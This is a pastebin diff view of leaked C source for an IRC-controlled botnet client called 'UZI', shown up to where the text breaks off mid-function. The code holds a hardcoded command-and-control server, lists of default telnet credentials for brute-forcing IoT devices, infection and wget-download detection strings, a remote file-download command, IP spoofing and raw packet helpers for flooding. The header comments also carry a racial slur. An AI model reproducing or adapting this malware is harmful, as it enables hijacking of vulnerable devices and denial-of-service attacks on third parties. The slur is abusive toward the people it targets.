View difference between Paste ID: dP0GE5g4 and JGP0FmxL
SHOW: | | - or go back to the newest paste.
1
// Good IRC Client - Skid edited by zonehax (you can see this retard name all over it, fucking nigger)
2
// Leaked by unknown, reposted by Scarface. 23/5/2018
3
#define STARTUP
4
#undef IDENT
5
#define FAKENAME "-bash"
6
#define cnport 9394
7
#define BOTuser "h4kkr uzi bot written by ZH"
8
#define BOTident "UZI"
9
#define CHAN "#"
10
#define KEY ""
11
#define PREFIX "[ZS]"
12
#define CMD_IAC   255
13
#define CMD_WILL  251
14
#define CMD_WONT  252
15
#define CMD_DO    253
16
#define CMD_DONT  254
17
#define PAD_RIGHT 1
18
#define PAD_ZERO 2
19
#define PRINT_BUF_LEN 12
20
#define OPT_SGA   3
21
#define SOCKBUF_SIZE 1024
22
#define MAX_NICK_LENGTH 31
23
#define NUM_ADMINS 2
24
#define NUM_THREADS 150
25
#define PHI 0x9e3779b9
26
#include <stdarg.h>
27
#include <pthread.h>
28
#include <errno.h>
29
#include <stdio.h>
30
#include <stdlib.h>
31
#include <string.h>
32
#include <sys/types.h>
33
#include <sys/stat.h>
34
#include <fcntl.h>
35
#include <strings.h>
36
#include <netinet/in.h>
37
#include <unistd.h>
38
#include <sys/time.h>
39
#include <sys/socket.h>
40
#include <signal.h>
41
#include <arpa/inet.h>
42
#include <netdb.h>
43
#include <time.h>
44
#include <sys/wait.h>
45
#include <sys/ioctl.h>
46
#include <net/if.h>
47
#include <netinet/ip.h>
48
#include <netinet/tcp.h>
49
//#######################
50
//########UZI############
51
//#######################
52
// God bot written by ZH The Lord.
53
54
char encodes[] = { 
55
    '<', '>', '@', '_', ';', ':', ',', '.', '-', '+', '*', '^', '?', '=', ')', '(', 
56
    '|', 'A', 'B', '&', '%', '$', 'D', '"', '!', 'w', 'k', 'y', 'x', 'z', 'v', 'u', 
57
    't', 's', 'r', 'q', 'p', 'o', 'n', 'm', 'l', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 
58
    'b', 'a', '~', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'F', 'U', 'C', 'K'
59
};
60
61
char decodes[] = { 
62
    '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 
63
    'g', 'h', 'i', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'z', 'y', 
64
    'w', 'k', 'x', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'L', 'M', 'N', 'O', 
65
    'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'Z', 'Y', 'W', 'K', 'X', '|', ':', '.', ' '
66
};
67
68
char encoded[512], decoded[512];
69
70
void encode(char *str) {
71
    int x = 0, i = 0, c;
72
73
    memset(encoded, 0, sizeof(encoded));
74
    while (x < strlen(str)) {
75
        for (c = 0; c <= sizeof(decodes); c++) {
76
            if (str[x] == decodes[c]) {
77
                encoded[i] = encodes[c];
78
                i++;
79
            }
80
        }
81
82
        x++;
83
    }
84
85
    encoded[i] = '\0';
86
    return;
87
}
88
89
void decode(char *str) {
90
    int x = 0, i = 0, c;
91
92
    memset(decoded, 0, sizeof(decoded));
93
    
94
    while (x < strlen(str)) {
95
        for (c = 0; c <= sizeof(encodes); c++) {
96
            if (str[x] == encodes[c]) {
97
                decoded[i] = decodes[c];
98
                i++;
99
            }
100
        }
101
102
        x++;
103
    }
104
105
    decoded[i] = '\0';
106
    return;
107
}
108
int numservers=1;
109
int *maxtime=3600;
110
char *servers[] = {
111
        "lol.r00ts.ninja",
112
        (void*)0
113
};
114
115
int *maxSTDpacketsize=4096;
116
char *strng;
117
char *strng2;
118
int *setpacketsize;
119
int *maxthreads=2048;
120
int *threadamount;
121
122
123
char admins[NUM_ADMINS][MAX_NICK_LENGTH] = {"ZoneHax", "ZH"};
124
125
126
127
const char *UserAgents[] = {
128
      "Mozilla/5.0 (compatible; BeslistBot; nl; BeslistBot 1.0;  http://www.beslist.nl/",
129
      "BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)",
130
      "zspider/0.9-dev http://feedback.redkolibri.com/",
131
      "Mozilla/4.0 compatible ZyBorg/1.0 DLC (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
132
      "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
133
      "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)",
134
      "Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
135
      "Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)",
136
      "Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)",
137
      "Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )",
138
      "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html)",
139
      "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)",
140
      "Mozilla/2.0 (compatible; Ask Jeeves/Teoma)",
141
142
      "msnbot/0.9 (+http://search.msn.com/msnbot.htm)",
143
      "msnbot/0.11 ( http://search.msn.com/msnbot.htm)",
144
      "MSNBOT/0.1 (http://search.msn.com/msnbot.htm)",
145
      "Mozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html)",
146
      "Mozilla/5.0 (compatible; mxbot/1.0;  http://www.chainn.com/mxbot.html)",
147
      "NetResearchServer/4.0(loopimprovements.com/robot.html)",
148
      "NetResearchServer/3.5(loopimprovements.com/robot.html)",
149
      "NetResearchServer/2.8(loopimprovements.com/robot.html)",
150
      "NetResearchServer/2.7(loopimprovements.com/robot.html)",
151
      "NetResearchServer/2.5(loopimprovements.com/robot.html)",
152
      "Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)",
153
      "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)",
154
      "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)",
155
      "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
156
      "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
157
      "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET ",
158
      "Googlebot/2.1 (http://www.googlebot.com/bot.html)",
159
      "Opera/9.20 (Windows NT 6.0; U; en)",
160
      "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
161
      "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
162
      "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
163
      "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
164
      "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)",
165
      "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
166
      "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)", 
167
      "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
168
      "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
169
      "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
170
      "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
171
      "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
172
      "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22 Perk/3.3.0.0",
173
      "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
174
      "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
175
      "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
176
      "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
177
      "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
178
      "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
179
      "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
180
      "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6",
181
      "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0",
182
    "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
183
};
184
char *getBuild() { //detect nearly every architecture. Coded by ZoneHax
185
    #if defined(__x86_64__) || defined(_M_X64)
186
    return "x86_64";
187
    #elif defined(i386) || defined(__i386__) || defined(__i386) || defined(_M_IX86)
188
    return "x86_32";
189
    #elif defined(__ARM_ARCH_2__)
190
    return "ARM2";
191
    #elif defined(__ARM_ARCH_3__) || defined(__ARM_ARCH_3M__)
192
    return "ARM3";
193
    #elif defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T)
194
    return "ARM4T";
195
    #elif defined(__ARM_ARCH_5_) || defined(__ARM_ARCH_5E_)
196
    return "ARM5"
197
    #elif defined(__ARM_ARCH_6T2_) || defined(__ARM_ARCH_6T2_)
198
    return "ARM6T2";
199
    #elif defined(__ARM_ARCH_6__) || defined(__ARM_ARCH_6J__) || defined(__ARM_ARCH_6K__) || defined(__ARM_ARCH_6Z__) || defined(__ARM_ARCH_6ZK__)
200
    return "ARM6";
201
    #elif defined(__ARM_ARCH_7__) || defined(__ARM_ARCH_7A__) || defined(__ARM_ARCH_7R__) || defined(__ARM_ARCH_7M__) || defined(__ARM_ARCH_7S__)
202
    return "ARM7";
203
    #elif defined(__aarch64__)
204
    return "ARM64";
205
    #elif defined(mips) || defined(__mips__) || defined(__mips)
206
    return "MIPS";
207
    #elif defined(__sh__)
208
    return "SUPERH";
209
    #elif defined(__powerpc) || defined(__powerpc__) || defined(__powerpc64__) || defined(__POWERPC__) || defined(__ppc__) || defined(__ppc64__) || defined(__PPC__) || defined(__PPC64__) || defined(_ARCH_PPC) || defined(_ARCH_PPC64)
210
    return "POWERPC";
211
    #elif defined(__sparc__) || defined(__sparc)
212
    return "SPARC";
213
    #elif defined(__m68k__)
214
    return "M68K";
215
    #else
216
    return "UNKNOWN";
217
    #endif
218
}
219
// Good IRC Client - Skid edited by zonehax (you can see this retard name all over it, fucking nigger)
220
// Leaked by unknown, reposted by Scarface. 23/5/2018
221
char *uziusernames[] = {
222
    "telnet\0", "root\0","root\0","admin\0","admin\0","user\0","login\0", 
223
    "guest\0", "support\0","root\0","root\0","CISCO\0","oracle\0","tim\0", 
224
    "root\0","root\0","root\0","root\0","root\0","root\0","root\0","root\0", 
225
    "support\0","root\0","admin\0","root\0","user\0","admin\0","root\0",
226
    "admin\0","root\0","admin\0","admin\0","root\0","root\0","root\0",
227
    "root\0","Administrator\0","service\0","supervisor\0","guest\0", 
228
    "guest\0","guest\0","admin1\0","administrator\0","666666\0", 
229
    "888888\0","ubnt\0","klv1234\0","Zte521\0","hi3518\0",
230
    "jvbzd\0","anko\0","zlxx\0","7ujMko0vizxv\0","7ujMko0admin\0",
231
    "system\0","ikwb\0","dreambox\0","user\0","realtek\0", 
232
    "00000000\0", "1111111\0","1234\0","12345\0", 
233
    "54321\0","123456\0","7ujMko0admin\0",
234
    "1234\0", "pass\0", "meinsm\0", "tech\0",  "fucker\0", 
235
};
236
char *uzipasswords[] = {
237
    "telnet\0","root\0","admin\0","admin\0","toor\0","admin\0", 
238
    "user\0","guest\0","login\0","changeme\0","1234\0","12345\0",
239
    "123456\0","default\0","pass\0","password\0","support\0","\0", 
240
    "maxided\0","oracle\0","tim\0","xc3511\0","vizxv\0","888888\0", 
241
    "xmhdipc\0","default\0","juantech\0","123456\0","54321\0","support\0", 
242
    "\0","password\0","12345\0","user\0","\0","pass\0","admin1234\0","1111\0", 
243
    "smcadmin\0","1111\0","666666\0","password\0","1234\0","klv123\0","admin\0", 
244
    "service\0","supervisor\0","guest\0","12345\0","password\0","1234\0",
245
    "666666\0","888888\0","ubnt\0","klv1234\0","Zte521\0","hi3518\0", 
246
    "jvbzd\0","anko\0","zlxx\0","7ujMko0vizxv\0","7ujMko0admin\0", 
247
    "system\0","ikwb\0","dreambox\0","user\0","realtek\0","00000000\0", 
248
    "1111111\0","1234\0","12345\0","54321\0","123456\0","7ujMko0admin\0", 
249
    "1234\0","pass\0","meinsm\0","tech\0","fucker\0",
250
};
251
252
int scanPid = 0;
253
254
char *advances[] = {":", "user", "ogin", "name", "pass", "dvrdvs", "assword:", (char*)0};                                                                                     
255
char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};                                                         
256
char *successes[] = {"busybox", "$", "#", "shell", "dvrdvs", (char*)0};                                                                                                     
257
char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};
258
char *infectconfirm = "UZI";
259
char *downloadingbin = {"ownloading", "onnecting to", "% |", "ETA", (char*)0}; // checks if wget is grabbing file.
260
261
struct telstate_t {
262
        int fd;
263
        unsigned int ip;
264
        unsigned char state;
265
        unsigned char complete;
266
        unsigned char usernameInd;     /* username     */
267
        unsigned char passwordInd;     /* password     */
268
        unsigned char tempDirInd;     /* tempdir         */
269
        unsigned int tTimeout;        /* totalTimeout */
270
        unsigned short bufUsed;
271
        char *sockbuf;
272
};
273
274
struct thread_args{
275
	int iSTD_Sock;
276
	struct sockaddr_in *sin; 
277
};
278
279
int sock,changeservers=0;
280
char *server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256];
281
unsigned int *pids, actualparent;
282
unsigned long spoofs=0, spoofsm=0, numpids=0;
283
static uint32_t Q[4096], c = 362436;
284
struct in_addr ourIP;
285
unsigned char macAddress[6] = {0};
286
int strwildmatch(const char* pattern, const char* string) {
287
	switch(*pattern) {
288
		case '\0': return *string;
289
		case '*': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
290
		case '?': return !(*string && !strwildmatch(pattern+1, string+1));
291
		default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
292
	}
293
}
294
295
uint32_t rand_cmwc(void)
296
{
297
        uint64_t t, a = 18782LL;
298
        static uint32_t i = 4095;
299
        uint32_t x, r = 0xfffffffe;
300
        i = (i + 1) & 4095;
301
        t = a * Q[i] + c;
302
        c = (uint32_t)(t >> 32);
303
        x = t + c;
304
        if (x < c) {
305
                x++;
306
                c++;
307
        }
308
        return (Q[i] = r - x);
309
}
310
int sclose(int fd) {
311
        if(3 > fd) return 1;
312
        close(fd);
313
        return 0;
314
}
315
unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
316
{
317
        int got = 1, total = 0;
318
        while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
319
        return got == 0 ? NULL : buffer;
320
}
321
int getOurIP()
322
{
323
        int sock = socket(AF_INET, SOCK_DGRAM, 0);
324
        if(sock == -1) return 0;
325
326
        struct sockaddr_in serv;
327
        memset(&serv, 0, sizeof(serv));
328
        serv.sin_family = AF_INET;
329
        serv.sin_addr.s_addr = inet_addr("8.8.8.8");
330
        serv.sin_port = htons(53);
331
332
        int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
333
        if(err == -1) return 0;
334
335
        struct sockaddr_in name;
336
        socklen_t namelen = sizeof(name);
337
        err = getsockname(sock, (struct sockaddr*) &name, &namelen);
338
        if(err == -1) return 0;
339
340
        ourIP.s_addr = name.sin_addr.s_addr;
341
342
        int cmdline = open("/proc/net/route", O_RDONLY);
343
        char linebuf[4096];
344
        while(fdgets(linebuf, 4096, cmdline) != NULL)
345
        {
346
                if(strstr(linebuf, "\t00000000\t") != NULL)
347
                {
348
                        unsigned char *pos = linebuf;
349
                        while(*pos != '\t') pos++;
350
                        *pos = 0;
351
                        break;
352
                }
353
                memset(linebuf, 0, 4096);
354
        }
355
        close(cmdline);
356
357
        if(*linebuf)
358
        {
359
                int i;
360
                struct ifreq ifr;
361
                strcpy(ifr.ifr_name, linebuf);
362
                ioctl(sock, SIOCGIFHWADDR, &ifr);
363
                for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
364
        }
365
366
        close(sock);
367
}
368
int realrand(int low, int high) {
369
  srand(time(NULL) + getpid());
370
  return (rand() % (high + 1 - low) + low);
371
}
372
void makeRandomShit(unsigned char *buf, int length) {
373
    srand(time(NULL));
374
    int i = 0;
375
    for(i = 0; i < length; i++) buf[i] = rand();
376
}
377
void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
378
{
379
        iph->ihl = 5;
380
        iph->version = 4;
381
        iph->tos = 0;
382
        iph->tot_len = sizeof(struct iphdr) + packetSize;
383
        iph->id = rand_cmwc();
384
        iph->frag_off = 0;
385
        iph->ttl = MAXTTL;
386
        iph->protocol = protocol;
387
        iph->check = 0;
388
        iph->saddr = source;
389
        iph->daddr = dest;
390
}
391
int Send(int sock, char *words, ...) {
392
        static char textBuffer[1024];
393
        va_list args;
394
        va_start(args, words);
395
        vsprintf(textBuffer, words, args);
396
        va_end(args);
397
        return write(sock,textBuffer,strlen(textBuffer));
398
}
399
int mfork(char *sender) {
400
	unsigned int parent, *newpids, i;
401
	if (disabled == 1) {
402
		Send(sock,"NOTICE %s :Unable to comply.\n",sender);
403
		return 1;
404
	}
405
	parent=fork();
406
	if (parent <= 0) return parent;
407
	numpids++;
408
	newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
409
	for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
410
	newpids[numpids-1]=parent;
411
	free(pids);
412
	pids=newpids;
413
	return parent;
414
}
415
unsigned long getspoof() {
416
	if (!spoofs) return rand();
417
	if (spoofsm == 1) return ntohl(spoofs);
418
	return ntohl(spoofs+(rand() % spoofsm)+1);
419
}
420
421
void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
422
char *makestring() {
423
	char *tmp;
424
	int len=(rand()%5)+4,i;
425
 	FILE *file;
426
	tmp=(char*)malloc(len+1);
427
 	memset(tmp,0,len+1);
428
 	if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
429
	else {
430
		int a=((rand()*rand())%45402)+1;
431
		char buf[1024];
432
		for (i=0;i<a;i++) fgets(buf,1024,file);
433
		memset(buf,0,1024);
434
		fgets(buf,1024,file);
435
		filter(buf);
436
		memcpy(tmp,buf,len);
437
		fclose(file);
438
	}
439
	return tmp;
440
}
441
void identd() {
442
        int sockname,sockfd,sin_size,tmpsock,i;
443
        struct sockaddr_in my_addr,their_addr;
444
        char szBuffer[1024];
445
        if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
446
        my_addr.sin_family = AF_INET;
447
        my_addr.sin_port = htons(113);
448
        my_addr.sin_addr.s_addr = INADDR_ANY;
449
        memset(&(my_addr.sin_zero), 0, 8);
450
        if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
451
        if (listen(sockfd, 1) == -1) return;
452
        if (fork() == 0) return;
453
        sin_size = sizeof(struct sockaddr_in);
454
        if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
455
        for(;;) {
456
                fd_set bla;
457
                struct timeval timee;
458
                FD_ZERO(&bla);
459
                FD_SET(tmpsock,&bla);
460
                timee.tv_sec=timee.tv_usec=60;
461
                if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
462
                if (FD_ISSET(tmpsock,&bla)) break;
463
        }
464
        i = recv(tmpsock,szBuffer,1024,0);
465
        if (i <= 0 || i >= 20) exit(0);
466
        szBuffer[i]=0;
467
        if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
468
        if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
469
	Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
470
        close(tmpsock);
471
        close(sockfd);
472
        exit(0);
473
}
474
long pow(long a, long b) {
475
        if (b == 0) return 1;
476
        if (b == 1) return a;
477
        return a*pow(a,b-1);
478
}
479
u_short in_cksum(u_short *addr, int len) {
480
        register int nleft = len;
481
        register u_short *w = addr;
482
        register int sum = 0;
483
        u_short answer =0;
484
        while (nleft > 1) {
485
                sum += *w++;
486
                nleft -= 2;
487
        }
488
        if (nleft == 1) {
489
                *(u_char *)(&answer) = *(u_char *)w;
490
                sum += answer;
491
        }
492
        sum = (sum >> 16) + (sum & 0xffff);
493
        sum += (sum >> 16);
494
        answer = ~sum;
495
        return(answer);
496
}
497
void get(int sock, char *sender, int argc, char **argv) {
498
        int sock2,i,d;
499
        struct sockaddr_in server;
500
        unsigned long ipaddr;
501
        char buf[1024];
502
        FILE *file;
503
        unsigned char bufm[4096];
504
        if (mfork(sender) != 0) return;
505
        if (argc < 2) {
506
                Send(sock,"NOTICE %s :GET <host> <save as>\n",sender);
507
                exit(0);
508
        }
509
        if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
510
                Send(sock,"NOTICE %s :Unable to create socket.\n",sender);
511
                exit(0);
512
        }
513
        if (!strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7);
514
        else strcpy(buf,argv[1]);
515
        for (i=0;i<strlen(buf) && buf[i] != '/';i++);
516
        buf[i]=0;
517
        server.sin_family = AF_INET;
518
        server.sin_port = htons(80);
519
        if ((ipaddr = inet_addr(buf)) == -1) {
520
                struct hostent *hostm;
521
                if ((hostm=gethostbyname(buf)) == NULL) {
522
                        Send(sock,"NOTICE %s :Unable to resolve address.\n",sender);
523
                        exit(0);
524
                }
525
                memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
526
        }
527
        else server.sin_addr.s_addr = ipaddr;
528
        memset(&(server.sin_zero), 0, 8);
529
        if (connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0) {
530
                Send(sock,"NOTICE %s :Unable to connect to http.\n",sender);
531
                exit(0);
532
        }
533
534
        Send(sock2,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n",buf+i+1,buf);
535
        Send(sock,"NOTICE %s :Receiving file.\n",sender);
536
        file=fopen(argv[2],"wb");
537
        while(1) {
538
                int i;
539
                if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
540
                if (i < 4096) bufm[i]=0;
541
                for (d=0;d<i;d++) if (!strncmp(bufm+d,"\r\n\r\n",4)) {
542
                        for (d+=4;d<i;d++) fputc(bufm[d],file);
543
                        goto done;
544
                }
545
        }
546
        done:
547
        Send(sock,"NOTICE %s :Saved as %s\n",sender,argv[2]);
548
        while(1) {
549
                int i,d;
550
                if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
551
                if (i < 4096) bufm[i]=0;
552
                for (d=0;d<i;d++) fputc(bufm[d],file);
553
        }
554
        fclose(file);
555
        close(sock2);
556
        exit(0);
557
}
558
void getspoofs(int sock, char *sender, int argc, char **argv) {
559
        unsigned long a=spoofs,b=spoofs+(spoofsm-1);
560
        if (spoofsm == 1) Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]);
561
        else Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]);
562
}
563
void version(int sock, char *sender, int argc, char **argv) {
564
        Send(sock,"NOTICE %s : Version 2\n",sender);
565
}
566
void nickc(int sock, char *sender, int argc, char **argv) {
567
        if (argc != 1) {
568
                Send(sock,"NOTICE %s :7NICK <nick>\n",sender);
569
                return;
570
        }
571
        if (strlen(argv[1]) >= 10) {
572
                Send(sock,"NOTICE %s :7Nick cannot be larger than 9 characters.\n",sender);
573
                return;
574
        }
575
        Send(sock,"NICK %s\n",argv[1]);
576
}
577
void disable(int sock, char *sender, int argc, char **argv) {
578
        if (argc != 1) {
579
                Send(sock,"NOTICE %s :7DISABLE <pass>\n",sender);
580
                Send(sock,"NOTICE %s :7Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
581
                return;
582
        }
583
	if (disabled) {
584
		Send(sock,"NOTICE %s :7Already disabled.\n",sender);
585
		return;
586
	}
587
	if (strlen(argv[1]) > 254) {
588
                Send(sock,"NOTICE %s :7Password too long! > 254\n",sender);
589
                return;
590
	}
591
        disabled=1;
592
	memset(dispass,0,256);
593
	strcpy(dispass,argv[1]);
594
	Send(sock,"NOTICE %s :7Disable successful.\n");
595
}
596
void enable(int sock, char *sender, int argc, char **argv) {
597
        if (argc != 1) {
598
                Send(sock,"NOTICE %s :7ENABLE <pass>\n",sender);
599
                Send(sock,"NOTICE %s :7Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
600
                return;
601
        }
602
	if (!disabled) {
603
		Send(sock,"NOTICE %s :7Already enabled.\n",sender);
604
		return;
605
	}
606
	if (strcasecmp(dispass,argv[1])) {
607
		Send(sock,"NOTICE %s :7Wrong password\n",sender);
608
		return;
609
	}
610
        disabled=0;
611
	Send(sock,"NOTICE %s :7Password correct.\n",sender);
612
}
613
void spoof(int sock, char *sender, int argc, char **argv) {
614
        char ip[256];
615
        int i, num;
616
        unsigned long uip;
617
        if (argc != 1) {
618
                Send(sock,"NOTICE %s :7Removed all spoofs\n",sender);
619
                spoofs=0;
620
                spoofsm=0;
621
                return;
622
        }
623
        if (strlen(argv[1]) > 16) {
624
                Send(sock,"NOTICE %s :7What kind of subnet address is that? Do something like: 169.40\n",sender);
625
                return;
626
        }
627
        strcpy(ip,argv[1]);
628
        if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0;
629
        for (i=0, num=1;i<strlen(ip);i++) if (ip[i] == '.') num++;
630
        num=-(num-4);
631
        for (i=0;i<num;i++) strcat(ip,".0");
632
        if (num == 0) spoofsm=1;
633
        else spoofsm=pow(256,num);
634
        spoofs=uip;
635
}
636
struct udphdr {
637
        unsigned short source;
638
        unsigned short dest;
639
        unsigned short len;
640
        unsigned short check;
641
};
642
struct send_tcp {
643
	struct iphdr ip;
644
	struct tcphdr tcp;
645
	char buf[20];
646
};
647
struct pseudo_header {
648
	unsigned int source_address;
649
	unsigned int dest_address;
650
	unsigned char pVageholder;
651
	unsigned char protocol;
652
	unsigned short tcp_length;
653
	struct tcphdr tcp;
654
	char buf[20];
655
};
656
unsigned int host2ip(char *sender,char *hostname) {
657
        static struct in_addr i;
658
        struct hostent *h;
659
        if((i.s_addr = inet_addr(hostname)) == -1) {
660
                if((h = gethostbyname(hostname)) == NULL) {
661
                        Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
662
                        exit(0);
663
                }
664
                bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
665
        }
666
        return i.s_addr;
667
}
668
in_addr_t getRandomIP(in_addr_t netmask)
669
{
670
        in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
671
        return tmp ^ ( rand_cmwc() & ~netmask);
672
}
673
unsigned short csum (unsigned short *buf, int count)
674
{
675
        register uint64_t sum = 0;
676
        while( count > 1 ) { sum += *buf++; count -= 2; }
677
        if(count > 0) { sum += *(unsigned char *)buf; }
678
        while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
679
        return (uint16_t)(~sum);
680
}
681
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
682
{
683
684
        struct tcp_pseudo
685
        {
686
                unsigned long src_addr;
687
                unsigned long dst_addr;
688
                unsigned char zero;
689
